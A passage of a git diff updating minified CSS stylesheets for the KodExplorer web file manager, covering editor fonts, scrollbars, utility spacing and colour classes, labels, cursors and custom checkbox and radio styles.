#102a3e;display:block;width:100%;height:100%;opacity:0.9;filter:alpha(opacity=90);position:absolute;bottom:0px;z-index:-1;-webkit-border-radius:5px;box-shadow:inset 0 0 1px #fff;-webkit-box-shadow:inset 0 0 1px #fff;background-color:#619bb9;background:-webkit-gradient(linear,center top,center bottom,from(#327aa4),color-stop(45%,#2e4b5a),to(#5cb0dc));background:rgba(0,0,0,0.5);}#menuwin #leftspliter{margin:0 15px 0 15px;border-top:solid 1px #d6e5f5;}#menuwin #rightspliter{margin:0 7px 0 7px;border-top:solid 1px #596d77;}#menuwin #links,#menuwin #programs{padding:0;list-style:none;}#menuwin #programs{background:#fff;border:solid 1px #365167;height:385px;float:left;margin:7px 0 7px 7px;box-shadow:0 0 1px #fff;width:250px;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;-webkit-box-shadow:0 0 1px #fff;-moz-box-shadow:0 0 1px #fff;}#menuwin #programs a{border:solid 1px transparent;display:block;padding:3px;height:30px;line-height:30px;margin:3px 10px;color:#4b4b4b;text-decoration:none;}#menuwin #programs a:hover{border:solid 1px #7da2ce;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;-webkit-box-shadow:inset 0 0 1px #fff;-moz-box-shadow:inset 0 0 1px #fff;box-shadow:inset 0 0 1px #fff;background-color:#cfe3fd;background:-webkit-gradient(linear,center top,center bottom,from(#dcebfd),to(#c2dcfd));}#menuwin #programs a img{border:0;vertical-align:middle;margin:0 5px 0 0;}#menuwin #links{float:left;margin-left:10px;margin-top:-50px;}#menuwin #links li.icon{height:60px;}#menuwin #links a{border:solid 1px transparent;display:block;margin:5px 0;position:relative;color:#fff;text-decoration:none;min-width:120px;}#menuwin #links a:hover{border:solid 1px #000;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;-webkit-box-shadow:0 0 1px #fff;-moz-box-shadow:0 0 1px #fff;box-shadow:0 0 1px #fff;background-color:#658da0;background:-webkit-gradient(linear,0% 100%,100% 100%,from(#517384),color-stop(50%,#79a3b8),to(#517384));}#menuwin #links a:hover span{background:-webkit-gradient(linear,center top,center bottom,from(transparent),color-stop(49%,transparent),color-stop(50%,rgba(2,37,58,0.5)),to(rgba(63,111,135,0.5)));}#menuwin #links a span{padding:5px;padding-left:10px;display:block;}@media (max-width:743px){#menuwin{ width:350px;} #menuwin #programs{ width:200px;}} +/* ver 4.30(2018-07-05) [build 1530795188.3857] */ \ No newline at end of file diff --git a/static/style/skin/base/app_editor.css b/static/style/skin/base/app_editor.css index 87f028a..fab2caf 100755 --- a/static/style/skin/base/app_editor.css +++ b/static/style/skin/base/app_editor.css @@ -1,3 +1,5 @@ -/* power by kodexplorer ver 4.25(2017-12-04) [build 1512368387.7915] */ -body{font-size:12px;padding:0px;margin:0px;font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}textarea,input,button,pre,p,.can-select{font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;}blockquote{padding:10px 20px;margin:0 0 20px 1em;border-left:10px solid #eee;background:#f6f6f6;}blockquote p{font-size:1em;margin:0px;}a{text-decoration:none;}a:focus{outline:none !important;}h1,h2,h3,h4,h5,.h1,.h2,.h3,.h4,.h5{font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;}*,*:before,*:after{-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;}label{font-weight:normal;}pre{border:none;border-radius:0;}::-webkit-scrollbar-track-piece{background-color:rgba(180,180,180,0.06);border-radius:3px;}::-webkit-scrollbar{width:10px;height:10px;}::-webkit-scrollbar-thumb{background-color:rgba(180,180,180,0.2);border-radius:12px;background-clip:padding-box;border:1px solid rgba(180,180,180,0.4);min-height:28px;}::-webkit-scrollbar-thumb:hover{background-color:rgba(180,180,180,0.4);border:1px solid rgba(180,180,180,0.7);}.can-select,.can-select *{-khtml-user-select:text !important;-webkit-user-select:text !important;-moz-user-select:text !important;-ms-user-select:text !important;-o-user-select:text !important;user-select:text !important;}.can-not-select,.can-not-select *{-khtml-user-select:none !important;-webkit-user-select:none !important;-moz-user-select:none !important;-ms-user-select:none !important;-o-user-select:none !important;user-select:none !important;}.fl{float:left;}.fl-left{float:left;}.fl-right{float:right;}.disable,.disabled{cursor:not-allowed;pointer-events:none;}.clear{clear:both;}.hidden{display:none;}.border-radius-none{border-radius:0 !important;}.FontAwesome{font-family:FontAwesome;font-weight:normal;font-style:normal;text-decoration:inherit;font-size:18px;}.font-nomal{font-weight:800;}.font-bold,.bold{font-weight:800;}.font-400{font-weight:400;}.font-800{font-weight:800;}.size12{font-size:12px;}.size14{font-size:14px;}.size16{font-size:16px;}.size18{font-size:18px;}.size20{font-size:20px;}.size22{font-size:22px;}.align-left{text-align:left;}.align-center{text-align:center;}.align-right{text-align:right;}.p-5{padding:5px;}.p-10{padding:10px;}.p-15{padding:15px;}.p-20{padding:20px;}.p-25{padding:25px;}.p-30{padding:30px;}.p-35{padding:35px;}.p-40{padding:40px;}.p-45{padding:45px;}.p-50{padding:50px;}.pt-5{padding-top:5px;}.pr-5{padding-right:5px;}.pb-5{padding-bottom:5px;}.pl-5{padding-left:5px;}.pt-10{padding-top:10px;}.pr-10{padding-right:10px;}.pb-10{padding-bottom:10px;}.pl-10{padding-left:10px;}.pt-15{padding-top:15px;}.pr-15{padding-right:15px;}.pb-15{padding-bottom:15px;}.pl-15{padding-left:15px;}.pt-20{padding-top:20px;}.pr-20{padding-right:20px;}.pb-20{padding-bottom:20px;}.pl-20{padding-left:20px;}.pt-25{padding-top:25px;}.pr-25{padding-right:25px;}.pb-25{padding-bottom:25px;}.pl-25{padding-left:25px;}.pt-30{padding-top:30px;}.pr-30{padding-right:30px;}.pb-30{padding-bottom:30px;}.pl-30{padding-left:30px;}.pt-35{padding-top:35px;}.pr-35{padding-right:35px;}.pb-35{padding-bottom:35px;}.pl-35{padding-left:35px;}.pt-40{padding-top:40px;}.pr-40{padding-right:40px;}.pb-40{padding-bottom:40px;}.pl-40{padding-left:40px;}.pt-45{padding-top:45px;}.pr-45{padding-right:45px;}.pb-45{padding-bottom:45px;}.pl-45{padding-left:45px;}.pt-50{padding-top:50px;}.pr-50{padding-right:50px;}.pb-50{padding-bottom:50px;}.pl-50{padding-left:50px;}.m-5{margin:5px;}.m-10{margin:10px;}.m-15{margin:15px;}.m-20{margin:20px;}.m-25{margin:25px;}.m-30{margin:30px;}.m-35{margin:35px;}.m-40{margin:40px;}.m-45{margin:45px;}.m-50{margin:50px;}.mt-5{margin-top:5px;}.mr-5{margin-right:5px;}.mb-5{margin-bottom:5px;}.ml-5{margin-left:5px;}.mt-10{margin-top:10px;}.mr-10{margin-right:10px;}.mb-10{margin-bottom:10px;}.ml-10{margin-left:10px;}.mt-15{margin-top:15px;}.mr-15{margin-right:15px;}.mb-15{margin-bottom:15px;}.ml-15{margin-left:15px;}.mt-20{margin-top:20px;}.mr-20{margin-right:20px;}.mb-20{margin-bottom:20px;}.ml-20{margin-left:20px;}.mt-25{margin-top:25px;}.mr-25{margin-right:25px;}.mb-25{margin-bottom:25px;}.ml-25{margin-left:25px;}.mt-30{margin-top:30px;}.mr-30{margin-right:30px;}.mb-30{margin-bottom:30px;}.ml-30{margin-left:30px;}.mt-35{margin-top:35px;}.mr-35{margin-right:35px;}.mb-35{margin-bottom:35px;}.ml-35{margin-left:35px;}.mt-40{margin-top:40px;}.mr-40{margin-right:40px;}.mb-40{margin-bottom:40px;}.ml-40{margin-left:40px;}.mt-45{margin-top:45px;}.mr-45{margin-right:45px;}.mb-45{margin-bottom:45px;}.ml-45{margin-left:45px;}.mt-50{margin-top:50px;}.mr-50{margin-right:50px;}.mb-50{margin-bottom:50px;}.ml-50{margin-left:50px;}.blue-1{color:#ecf6fd;}.bg-blue-1{background:#ecf6fd;}.bdcolor-blue-1{border-color:#ecf6fd;}.blue-2{color:#d2eafb;}.bg-blue-2{background:#d2eafb;}.bdcolor-blue-2{border-color:#d2eafb;}.blue-3{color:#add8f7;}.bg-blue-3{background:#add8f7;}.bdcolor-blue-3{border-color:#add8f7;}.blue-4{color:#7ec2f3;}.bg-blue-4{background:#7ec2f3;}.bdcolor-blue-4{border-color:#7ec2f3;}.blue-5{color:#49a9ee;}.bg-blue-5{background:#49a9ee;}.bdcolor-blue-5{border-color:#49a9ee;}.blue-6{color:#108ee9;}.bg-blue-6{background:#108ee9;}.bdcolor-blue-6{border-color:#108ee9;}.blue-7{color:#0e77ca;}.bg-blue-7{background:#0e77ca;}.bdcolor-blue-7{border-color:#0e77ca;}.blue-8{color:#0c60aa;}.bg-blue-8{background:#0c60aa;}.bdcolor-blue-8{border-color:#0c60aa;}.blue-9{color:#09488a;}.bg-blue-9{background:#09488a;}.bdcolor-blue-9{border-color:#09488a;}.blue-10{color:#073069;}.bg-blue-10{background:#073069;}.bdcolor-blue-10{border-color:#073069;}.purple-1{color:#f4f3fd;}.bg-purple-1{background:#f4f3fd;}.bdcolor-purple-1{border-color:#f4f3fd;}.purple-2{color:#e4e2fa;}.bg-purple-2{background:#e4e2fa;}.bdcolor-purple-2{border-color:#e4e2fa;}.purple-3{color:#cfcaf6;}.bg-purple-3{background:#cfcaf6;}.bdcolor-purple-3{border-color:#cfcaf6;}.purple-4{color:#b3acf2;}.bg-purple-4{background:#b3acf2;}.bdcolor-purple-4{border-color:#b3acf2;}.purple-5{color:#948aec;}.bg-purple-5{background:#948aec;}.bdcolor-purple-5{border-color:#948aec;}.purple-6{color:#7265e6;}.bg-purple-6{background:#7265e6;}.bdcolor-purple-6{border-color:#7265e6;}.purple-7{color:#6252cd;}.bg-purple-7{background:#6252cd;}.bdcolor-purple-7{border-color:#6252cd;}.purple-8{color:#533eb4;}.bg-purple-8{background:#533eb4;}.bdcolor-purple-8{border-color:#533eb4;}.purple-9{color:#42299a;}.bg-purple-9{background:#42299a;}.bdcolor-purple-9{border-color:#42299a;}.purple-10{color:#321580;}.bg-purple-10{background:#321580;}.bdcolor-purple-10{border-color:#321580;}.cyan-1{color:#ebf8f9;}.bg-cyan-1{background:#ebf8f9;}.bdcolor-cyan-1{border-color:#ebf8f9;}.cyan-2{color:#cfedf0;}.bg-cyan-2{background:#cfedf0;}.bdcolor-cyan-2{border-color:#cfedf0;}.cyan-3{color:#a7dfe3;}.bg-cyan-3{background:#a7dfe3;}.bdcolor-cyan-3{border-color:#a7dfe3;}.cyan-4{color:#76cdd3;}.bg-cyan-4{background:#76cdd3;}.bdcolor-cyan-4{border-color:#76cdd3;}.cyan-5{color:#3db8c1;}.bg-cyan-5{background:#3db8c1;}.bdcolor-cyan-5{border-color:#3db8c1;}.cyan-6{color:#00a2ae;}.bg-cyan-6{background:#00a2ae;}.bdcolor-cyan-6{border-color:#00a2ae;}.cyan-7{color:#008997;}.bg-cyan-7{background:#008997;}.bdcolor-cyan-7{border-color:#008997;}.cyan-8{color:#00707f;}.bg-cyan-8{background:#00707f;}.bdcolor-cyan-8{border-color:#00707f;}.cyan-9{color:#005667;}.bg-cyan-9{background:#005667;}.bdcolor-cyan-9{border-color:#005667;}.cyan-10{color:#003c4e;}.bg-cyan-10{background:#003c4e;}.bdcolor-cyan-10{border-color:#003c4e;}.green-1{color:#ebf8f2;}.bg-green-1{background:#ebf8f2;}.bdcolor-green-1{border-color:#ebf8f2;}.green-2{color:#cfefdf;}.bg-green-2{background:#cfefdf;}.bdcolor-green-2{border-color:#cfefdf;}.green-3{color:#a7e1c4;}.bg-green-3{background:#a7e1c4;}.bdcolor-green-3{border-color:#a7e1c4;}.green-4{color:#76d0a3;}.bg-green-4{background:#76d0a3;}.bdcolor-green-4{border-color:#76d0a3;}.green-5{color:#3dbd7d;}.bg-green-5{background:#3dbd7d;}.bdcolor-green-5{border-color:#3dbd7d;}.green-6{color:#00a854;}.bg-green-6{background:#00a854;}.bdcolor-green-6{border-color:#00a854;}.green-7{color:#00924c;}.bg-green-7{background:#00924c;}.bdcolor-green-7{border-color:#00924c;}.green-8{color:#007b43;}.bg-green-8{background:#007b43;}.bdcolor-green-8{border-color:#007b43;}.green-9{color:#00643b;}.bg-green-9{background:#00643b;}.bdcolor-green-9{border-color:#00643b;}.green-10{color:#004c32;}.bg-green-10{background:#004c32;}.bdcolor-green-10{border-color:#004c32;}.pink-1{color:#feeff5;}.bg-pink-1{background:#feeff5;}.bdcolor-pink-1{border-color:#feeff5;}.pink-2{color:#fdd8e7;}.bg-pink-2{background:#fdd8e7;}.bdcolor-pink-2{border-color:#fdd8e7;}.pink-3{color:#fcb8d3;}.bg-pink-3{background:#fcb8d3;}.bdcolor-pink-3{border-color:#fcb8d3;}.pink-4{color:#fa90ba;}.bg-pink-4{background:#fa90ba;}.bdcolor-pink-4{border-color:#fa90ba;}.pink-5{color:#f7629e;}.bg-pink-5{background:#f7629e;}.bdcolor-pink-5{border-color:#f7629e;}.pink-6{color:#f5317f;}.bg-pink-6{background:#f5317f;}.bdcolor-pink-6{border-color:#f5317f;}.pink-7{color:#dc277d;}.bg-pink-7{background:#dc277d;}.bdcolor-pink-7{border-color:#dc277d;}.pink-8{color:#c11c7b;}.bg-pink-8{background:#c11c7b;}.bdcolor-pink-8{border-color:#c11c7b;}.pink-9{color:#a71278;}.bg-pink-9{background:#a71278;}.bdcolor-pink-9{border-color:#a71278;}.pink-10{color:#8c0776;}.bg-pink-10{background:#8c0776;}.bdcolor-pink-10{border-color:#8c0776;}.red-1{color:#fef0ef;}.bg-red-1{background:#fef0ef;}.bdcolor-red-1{border-color:#fef0ef;}.red-2{color:#fcdbd9;}.bg-red-2{background:#fcdbd9;}.bdcolor-red-2{border-color:#fcdbd9;}.red-3{color:#fabeb9;}.bg-red-3{background:#fabeb9;}.bdcolor-red-3{border-color:#fabeb9;}.red-4{color:#f79992;}.bg-red-4{background:#f79992;}.bdcolor-red-4{border-color:#f79992;}.red-5{color:#f46e65;}.bg-red-5{background:#f46e65;}.bdcolor-red-5{border-color:#f46e65;}.red-6{color:#f04134;}.bg-red-6{background:#f04134;}.bdcolor-red-6{border-color:#f04134;}.red-7{color:#d73435;}.bg-red-7{background:#d73435;}.bdcolor-red-7{border-color:#d73435;}.red-8{color:#bd2636;}.bg-red-8{background:#bd2636;}.bdcolor-red-8{border-color:#bd2636;}.red-9{color:#a31837;}.bg-red-9{background:#a31837;}.bdcolor-red-9{border-color:#a31837;}.red-10{color:#880a38;}.bg-red-10{background:#880a38;}.bdcolor-red-10{border-color:#880a38;}.orange-1{color:#fef3eb;}.bg-orange-1{background:#fef3eb;}.bdcolor-orange-1{border-color:#fef3eb;}.orange-2{color:#fde3cf;}.bg-orange-2{background:#fde3cf;}.bdcolor-orange-2{border-color:#fde3cf;}.orange-3{color:#fccca7;}.bg-orange-3{background:#fccca7;}.bdcolor-orange-3{border-color:#fccca7;}.orange-4{color:#faaf76;}.bg-orange-4{background:#faaf76;}.bdcolor-orange-4{border-color:#faaf76;}.orange-5{color:#f78e3d;}.bg-orange-5{background:#f78e3d;}.bdcolor-orange-5{border-color:#f78e3d;}.orange-6{color:#f56a00;}.bg-orange-6{background:#f56a00;}.bdcolor-orange-6{border-color:#f56a00;}.orange-7{color:#d75000;}.bg-orange-7{background:#d75000;}.bdcolor-orange-7{border-color:#d75000;}.orange-8{color:#b93600;}.bg-orange-8{background:#b93600;}.bdcolor-orange-8{border-color:#b93600;}.orange-9{color:#991b00;}.bg-orange-9{background:#991b00;}.bdcolor-orange-9{border-color:#991b00;}.orange-10{color:#7a0000;}.bg-orange-10{background:#7a0000;}.bdcolor-orange-10{border-color:#7a0000;}.yellow-1{color:#fffaeb;}.bg-yellow-1{background:#fffaeb;}.bdcolor-yellow-1{border-color:#fffaeb;}.yellow-2{color:#fff3cf;}.bg-yellow-2{background:#fff3cf;}.bdcolor-yellow-2{border-color:#fff3cf;}.yellow-3{color:#ffe9a7;}.bg-yellow-3{background:#ffe9a7;}.bdcolor-yellow-3{border-color:#ffe9a7;}.yellow-4{color:#ffdd76;}.bg-yellow-4{background:#ffdd76;}.bdcolor-yellow-4{border-color:#ffdd76;}.yellow-5{color:#ffce3d;}.bg-yellow-5{background:#ffce3d;}.bdcolor-yellow-5{border-color:#ffce3d;}.yellow-6{color:#ffbf00;}.bg-yellow-6{background:#ffbf00;}.bdcolor-yellow-6{border-color:#ffbf00;}.yellow-7{color:#e09a00;}.bg-yellow-7{background:#e09a00;}.bdcolor-yellow-7{border-color:#e09a00;}.yellow-8{color:#c17500;}.bg-yellow-8{background:#c17500;}.bdcolor-yellow-8{border-color:#c17500;}.yellow-9{color:#a04f00;}.bg-yellow-9{background:#a04f00;}.bdcolor-yellow-9{border-color:#a04f00;}.yellow-10{color:#802800;}.bg-yellow-10{background:#802800;}.bdcolor-yellow-10{border-color:#802800;}.grey-1{color:#fbfbfb;}.bg-grey-1{background:#fbfbfb;}.bdcolor-grey-1{border-color:#fbfbfb;}.grey-2{color:#f7f7f7;}.bg-grey-2{background:#f7f7f7;}.bdcolor-grey-2{border-color:#f7f7f7;}.grey-3{color:#f5f5f5;}.bg-grey-3{background:#f5f5f5;}.bdcolor-grey-3{border-color:#f5f5f5;}.grey-4{color:#e9e9e9;}.bg-grey-4{background:#e9e9e9;}.bdcolor-grey-4{border-color:#e9e9e9;}.grey-5{color:#d9d9d9;}.bg-grey-5{background:#d9d9d9;}.bdcolor-grey-5{border-color:#d9d9d9;}.grey-6{color:#bfbfbf;}.bg-grey-6{background:#bfbfbf;}.bdcolor-grey-6{border-color:#bfbfbf;}.grey-7{color:#919191;}.bg-grey-7{background:#919191;}.bdcolor-grey-7{border-color:#919191;}.grey-8{color:#5a5a5a;}.bg-grey-8{background:#5a5a5a;}.bdcolor-grey-8{border-color:#5a5a5a;}.grey-9{color:#404040;}.bg-grey-9{background:#404040;}.bdcolor-grey-9{border-color:#404040;}.grey-10{color:#222;}.bg-grey-10{background:#222;}.bdcolor-grey-10{border-color:#222;}.translation-fast{-webkit-transition:all 0.168s ease-in-out;-moz-transition:all 0.168s ease-in-out;-o-transition:all 0.168s ease-in-out;-ms-transition:all 0.168s ease-in-out;transition:all 0.168s ease-in-out;}.translation-nomal{-webkit-transition:all 0.25s ease-in-out;-moz-transition:all 0.25s ease-in-out;-o-transition:all 0.25s ease-in-out;-ms-transition:all 0.25s ease-in-out;transition:all 0.25s ease-in-out;}.translation-slow{-webkit-transition:all 0.5s ease-in-out;-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-ms-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out;}.translation-200{-webkit-transition:all 0.2s ease-in-out;-moz-transition:all 0.2s ease-in-out;-o-transition:all 0.2s ease-in-out;-ms-transition:all 0.2s ease-in-out;transition:all 0.2s ease-in-out;}.translation-300{-webkit-transition:all 0.3s ease-in-out;-moz-transition:all 0.3s ease-in-out;-o-transition:all 0.3s ease-in-out;-ms-transition:all 0.3s ease-in-out;transition:all 0.3s ease-in-out;}.translation-500{-webkit-transition:all 0.5s ease-in-out;-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-ms-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out;}.translation-1000{-webkit-transition:all 1.0s ease-in-out;-moz-transition:all 1.0s ease-in-out;-o-transition:all 1.0s ease-in-out;-ms-transition:all 1.0s ease-in-out;transition:all 1.0s ease-in-out;}.label{font-weight:400;font-size:1em;display:inline-block;}.label.label-blue-deep{background:#1b63ab;color:#fff;}.label.label-blue-nomal{background:#39f;color:#fff;}.label.label-blue-light{background:#d4e9ff;color:#39f;}.label.label-grey-deep{background:#464c5b;color:#fff;}.label.label-grey-nomal{background:#657180;color:#fff;}.label.label-grey-light{background:#9ea7b4;color:#fff;}.label.label-yellow-deep{background:#ff9900;color:#fff;}.label.label-yellow-nomal{background:#ffc267;color:#fff;}.label.label-yellow-light{background:#ffe2b6;color:#ff9900;}.label.label-green-deep{background:#068c49;color:#fff;}.label.label-green-nomal{background:#00cc66;color:#fff;}.label.label-green-light{background:#beffde;color:#068c49;}.cursor-mouse.cursor-default *{cursor:url("../../../images/common/cursor/default.png"), auto !important;}.cursor-mouse.cursor-move *{cursor:url("../../../images/common/cursor/move.png"), auto !important;}.cursor-mouse.cursor-down *{cursor:url("../../../images/common/cursor/down.png"), auto !important;}.cursor-mouse.cursor-add *{cursor:url("../../../images/common/cursor/add.png"), auto !important;}@media screen and (max-width:100000px){input[type="checkbox"].kui-checkbox-ios{ display:none !important;} input[type="checkbox"].kui-checkbox-ios +em{ vertical-align:middle;display:inline-block;margin:0 0.8em 0 0;border:1px solid #ddd;cursor:pointer;border-radius:999px;background-color:#f6f6f6;-webkit-transition:all 0.4s;-moz-transition:all 0.4s;-o-transition:all 0.4s;-ms-transition:all 0.4s;transition:all 0.4s;box-shadow:inset 0 0 0 0px rgba(0,0,0,0.4);} input[type="checkbox"].kui-checkbox-ios +em:after{ float:left;content:'';margin:1px 0 0 1px;width:18px;height:18px;border-radius:inherit;background:#ffffff;-webkit-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);-moz-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);-o-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);-ms-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);transition:all 0.4s cubic-bezier(.54,1.85,.5,1);box-shadow:0 1px 3px rgba(0,0,0,0.4);pointer-events:none;} input[type="checkbox"].kui-checkbox-ios:checked +em{ background-color:#64bd63;border:1px solid #64bd63;} input[type="checkbox"].kui-checkbox-ios:checked +em:after{ background-color:#ffffff;box-shadow:0px 2px 5px rgba(0,0,0,0.3);} input[type="checkbox"].kui-checkbox-ios.size-smallx +em{ width:20px;height:10px;} input[type="checkbox"].kui-checkbox-ios.size-smallx +em:after{ width:8px;height:8px;} input[type="checkbox"].kui-checkbox-ios.size-smallx:checked +em:after{ margin-left:11px;} input[type="checkbox"].kui-checkbox-ios.size-small +em{ width:30px;height:15px;} input[type="checkbox"].kui-checkbox-ios.size-small +em:after{ width:13px;height:13px;} input[type="checkbox"].kui-checkbox-ios.size-small:checked +em:after{ margin-left:16px;} input[type="checkbox"].kui-checkbox-ios +em{ width:40px;height:20px;} input[type="checkbox"].kui-checkbox-ios +em:after{ width:18px;height:18px;} input[type="checkbox"].kui-checkbox-ios:checked +em:after{ margin-left:21px;} input[type="checkbox"].kui-checkbox-ios.size-big +em{ width:50px;height:25px;} input[type="checkbox"].kui-checkbox-ios.size-big +em:after{ width:23px;height:23px;} input[type="checkbox"].kui-checkbox-ios.size-big:checked +em:after{ margin-left:26px;} input[type="checkbox"].kui-checkbox-ios.size-bigx +em{ width:80px;height:40px;} input[type="checkbox"].kui-checkbox-ios.size-bigx +em:after{ width:38px;height:38px;} input[type="checkbox"].kui-checkbox-ios.size-bigx:checked +em:after{ margin-left:41px;} input[type="checkbox"].kui-checkbox-ios:checked +em{ background-color:#63acff;border:1px solid #63acff;box-shadow:inset 0 0 0 10px #63acff;} input[type="checkbox"].kui-checkbox-ios.red:checked +em{ background-color:#ff5722;border:1px solid #ff5722;box-shadow:inset 0 0 0 10px #ff5722;} input[type="checkbox"].kui-checkbox-ios.blue:checked +em{ background-color:#63acff;border:1px solid #63acff;box-shadow:inset 0 0 0 10px #63acff;} input[type="checkbox"].kui-checkbox-ios.green:checked +em{ background-color:#64bd63;border:1px solid #64bd63;box-shadow:inset 0 0 0 10px #64bd63;} input[type="checkbox"].kui-checkbox-ios.yellow:checked +em{ background-color:#ffc107;border:1px solid #ffc107;box-shadow:inset 0 0 0 10px #ffc107;} input[type="checkbox"].kui-checkbox-ios.grey:checked +em{ background-color:#aaa;border:1px solid #aaa;box-shadow:inset 0 0 0 10px #aaa;} input[type="checkbox"].kui-checkbox-ios.black:checked +em{ background-color:#444;border:1px solid #444;box-shadow:inset 0 0 0 10px #444;} input[type="checkbox"].kui-checkbox{ background:#f6f6f6;cursor:pointer;border:1px solid #ddd !important;outline:none;text-align:center;border-radius:10%;display:inline-block;background-clip:padding-box;appearance:none;-moz-appearance:none;-webkit-appearance:none;} input[type="checkbox"].kui-checkbox:before{ font-family:FontAwesome;content:"\f00c";color:#f6f6f6;} input[type="checkbox"].kui-checkbox:checked{ background:#1b7e5a;border-color:#1b7e5a !important;} input[type="checkbox"].kui-checkbox:checked:before{ color:#fff;} input[type="checkbox"].kui-checkbox:checked:hover, input[type="checkbox"].kui-checkbox:checked:focus{ box-shadow:none !important;} input[type="checkbox"].kui-checkbox:hover, input[type="checkbox"].kui-checkbox:focus{ border-color:#1b7e5a !important;box-shadow:0 0 0 1px #1b7e5a !important;} input[type="checkbox"].kui-checkbox.radius{ border-radius:999px;} input[type="checkbox"].kui-checkbox.size-smallx{ height:16px;font-size:9.6px;width:16px !important;margin:0.6em 0.8em 0 0.2em;} input[type="checkbox"].kui-checkbox.size-smallx:before{ line-height:16px;} input[type="checkbox"].kui-checkbox.size-small{ height:18px;font-size:10.8px;width:18px !important;margin:0.6em 0.8em 0 0.2em;} input[type="checkbox"].kui-checkbox.size-small:before{ line-height:18px;} input[type="checkbox"].kui-checkbox{ height:20px;font-size:12px;width:20px !important;margin:0.6em 0.8em 0 0.2em;} input[type="checkbox"].kui-checkbox:before{ line-height:20px;} input[type="checkbox"].kui-checkbox.size-big{ height:26px;font-size:15.6px;width:26px !important;margin:0.6em 0.8em 0 0.2em;} input[type="checkbox"].kui-checkbox.size-big:before{ line-height:26px;} input[type="checkbox"].kui-checkbox.size-bigx{ height:32px;font-size:19.2px;width:32px !important;margin:0.6em 0.8em 0 0.2em;} input[type="checkbox"].kui-checkbox.size-bigx:before{ line-height:32px;} input[type="checkbox"].kui-checkbox:checked{ background:#63acff;border-color:#63acff !important;} input[type="checkbox"].kui-checkbox:hover, input[type="checkbox"].kui-checkbox:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="checkbox"].kui-checkbox.red:checked{ background:#ff5722;border-color:#ff5722 !important;} input[type="checkbox"].kui-checkbox.red:hover, input[type="checkbox"].kui-checkbox.red:focus{ border-color:#ff5722 !important;box-shadow:0 0 0 1px #ff5722 !important;} input[type="checkbox"].kui-checkbox.blue:checked{ background:#63acff;border-color:#63acff !important;} input[type="checkbox"].kui-checkbox.blue:hover, input[type="checkbox"].kui-checkbox.blue:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="checkbox"].kui-checkbox.green:checked{ background:#64bd63;border-color:#64bd63 !important;} input[type="checkbox"].kui-checkbox.green:hover, input[type="checkbox"].kui-checkbox.green:focus{ border-color:#64bd63 !important;box-shadow:0 0 0 1px #64bd63 !important;} input[type="checkbox"].kui-checkbox.yellow:checked{ background:#ffc107;border-color:#ffc107 !important;} input[type="checkbox"].kui-checkbox.yellow:hover, input[type="checkbox"].kui-checkbox.yellow:focus{ border-color:#ffc107 !important;box-shadow:0 0 0 1px #ffc107 !important;} input[type="checkbox"].kui-checkbox.grey:checked{ background:#aaa;border-color:#aaa !important;} input[type="checkbox"].kui-checkbox.grey:hover, input[type="checkbox"].kui-checkbox.grey:focus{ border-color:#aaa !important;box-shadow:0 0 0 1px #aaa !important;} input[type="checkbox"].kui-checkbox.black:checked{ background:#444;border-color:#444 !important;} input[type="checkbox"].kui-checkbox.black:hover, input[type="checkbox"].kui-checkbox.black:focus{ border-color:#444 !important;box-shadow:0 0 0 1px #444 !important;} input[type="radio"].kui-radio{ background:#f6f6f6;cursor:pointer;border:1px solid #ddd !important;outline:none;border-radius:999px;display:inline-block;text-align:center;-webkit-transition:all 0.2s ease-in-out;-moz-transition:all 0.2s ease-in-out;-o-transition:all 0.2s ease-in-out;-ms-transition:all 0.2s ease-in-out;transition:all 0.2s ease-in-out;background-clip:padding-box;box-shadow:0 1px 2px rgba(0,0,0,0.05), inset 0px -15px 10px -12px rgba(0,0,0,0.05);appearance:none;-moz-appearance:none;-webkit-appearance:none;} input[type="radio"].kui-radio:before{ font-family:FontAwesome;content:"\f00c";color:#f6f6f6;} input[type="radio"].kui-radio:checked:before{ color:#fff;} input[type="radio"].kui-radio:checked:hover, input[type="radio"].kui-radio:checked:focus{ box-shadow:none !important;} input[type="radio"].kui-radio:hover, input[type="radio"].kui-radio:focus{ border-color:#224 !important;} input[type="radio"].kui-radio.size-smallx{ font-size:9.6px;height:16px;width:16px !important;margin-right:0.8em;} input[type="radio"].kui-radio.size-smallx:before{ line-height:14px;} input[type="radio"].kui-radio.size-small{ font-size:10.8px;height:18px;width:18px !important;margin-right:0.8em;} input[type="radio"].kui-radio.size-small:before{ line-height:16px;} input[type="radio"].kui-radio{ font-size:14.4px;height:24px;width:24px !important;margin-right:0.8em;} input[type="radio"].kui-radio:before{ line-height:22px;} input[type="radio"].kui-radio.size-big{ font-size:15.6px;height:26px;width:26px !important;margin-right:0.8em;} input[type="radio"].kui-radio.size-big:before{ line-height:24px;} input[type="radio"].kui-radio.size-bigx{ font-size:19.2px;height:32px;width:32px !important;margin-right:0.8em;} input[type="radio"].kui-radio.size-bigx:before{ line-height:30px;} input[type="radio"].kui-radio:checked{ background:#63acff;border-color:#63acff !important;} input[type="radio"].kui-radio:hover, 